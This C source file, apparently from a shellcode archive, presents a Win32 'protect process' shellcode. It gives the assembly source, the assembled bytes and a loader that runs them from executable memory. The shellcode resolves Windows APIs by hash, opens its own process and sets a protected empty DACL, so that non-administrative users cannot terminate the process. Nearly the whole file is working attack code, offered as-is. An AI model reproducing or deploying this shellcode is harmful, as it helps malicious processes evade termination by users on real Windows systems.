118 lines
No EOL
4.3 KiB
C
118 lines
No EOL
4.3 KiB
C
/*
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# Win32 - Protect Process Shellcode
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# Date: [17.02.2017]
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# Author: [Ege Balcı]
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# Tested on: [Win 7/8/8.1/10]
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This shellcode sets the SE_DACL_PROTECTED flag inside security descriptor structure,
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this will prevent the process being terminated by non administrative users.
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-----------------------------------------------------------------
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[BITS 32]
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[ORG 0]
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; EAX-> Return Values
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; EBX-> Process Handle
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; EBP-> API Block
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; ESI-> Saved ESP
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pushad ; Save all registers to stack
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pushfd ; Save all flags to stack
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push esp ; Push the current esp value
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pop esi ; Save the current esp value to ecx
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cld ; Clear direction flags
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call Start
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%include "API-BLOCK.asm"; Stephen Fewer's hash API from metasploit project
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Start:
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pop ebp ; Pop the address of SFHA
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push 0x62C64749 ; hash(kernel32.dll, GetCurrentProcessId())
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call ebp ; GetCurrentProcessId()
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push eax ; Process ID
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push 0x00000000 ; FALSE
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push 0x1F0FFF ; PROCESS_ALL_ACCESS
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push 0x50B695EE ; hash(kernel32.dll, OpenProcess)
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call ebp ; OpenProcess(PROCESS_ALL_ACCESS,FALSE,ECX)
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mov ebx, eax ; Move process handle to ebx
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push 0x00000000 ; 0,0
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push 0x32336970 ; pi32
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push 0x61766461 ; adva
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push esp ; Push the address of "advapi32" string
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push 0x0726774C ; hash(kernel32.dll, LoadLibraryA)
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call ebp ; LoadLibraryA("advapi32")
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push 0x00503a44 ; "D:P"
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sub esp,4 ; Push the address of "D:P" string to stack
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push 0x00000000 ; FALSE
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lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX
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push eax ; Push the 4 byte buffer address
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push 0x00000001 ; SDDL_REVISION_1
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lea eax, [esp+16] ; Load the address of "D:P" string to EAX
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push eax ; Push the EAX value
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push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor)
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call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE)
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push 0x00000004 ; DACL_SECURITY_INFORMATION
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push ebx ; Process Handle
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push 0xD63AF8DB ; hash(kernel32.dll, SetKernelObjectSecurity)
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call ebp ; SetKernelObjectSecurity(ProcessHandle,DACL_SECURITY_INFORMATION,SecurityDescriptor)
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mov esp,esi ; Restore the address of esp
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popad ; Popback all registers
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popfd ; Popback all flags
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ret ; Return
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*/
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//>Special thanks to Yusuf Arslan Polat ;D
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#include <windows.h>
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#include <stdio.h>
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unsigned char Shellcode[] = {
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0x60, 0x9c, 0x54, 0x5e, 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
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0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52,
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0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c,
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0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2,
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0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
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0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49,
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0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac,
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0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8,
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0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66,
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0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,
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0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff,
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0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x49, 0x47,
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0xc6, 0x62, 0xff, 0xd5, 0x50, 0x6a, 0x00, 0x68, 0xff, 0x0f, 0x1f, 0x00,
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0x68, 0xee, 0x95, 0xb6, 0x50, 0xff, 0xd5, 0x89, 0xc3, 0x6a, 0x00, 0x68,
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0x70, 0x69, 0x33, 0x32, 0x68, 0x61, 0x64, 0x76, 0x61, 0x54, 0x68, 0x4c,
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0x77, 0x26, 0x07, 0xff, 0xd5, 0x68, 0x44, 0x3a, 0x50, 0x00, 0x83, 0xec,
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0x04, 0x6a, 0x00, 0x8d, 0x44, 0x24, 0x04, 0x50, 0x6a, 0x01, 0x8d, 0x44,
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0x24, 0x10, 0x50, 0x68, 0x9a, 0x63, 0x6f, 0xda, 0xff, 0xd5, 0x6a, 0x04,
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0x53, 0x68, 0xdb, 0xf8, 0x3a, 0xd6, 0xff, 0xd5, 0x89, 0xf4, 0x61, 0x9d,
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0xc3
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};
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int main(int argc, char const *argv[])
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{
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char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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memcpy(BUFFER, Shellcode, sizeof(Shellcode));
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(*(void(*)())BUFFER)();
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printf("This process is protected !");
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getchar();
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return 0;
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} |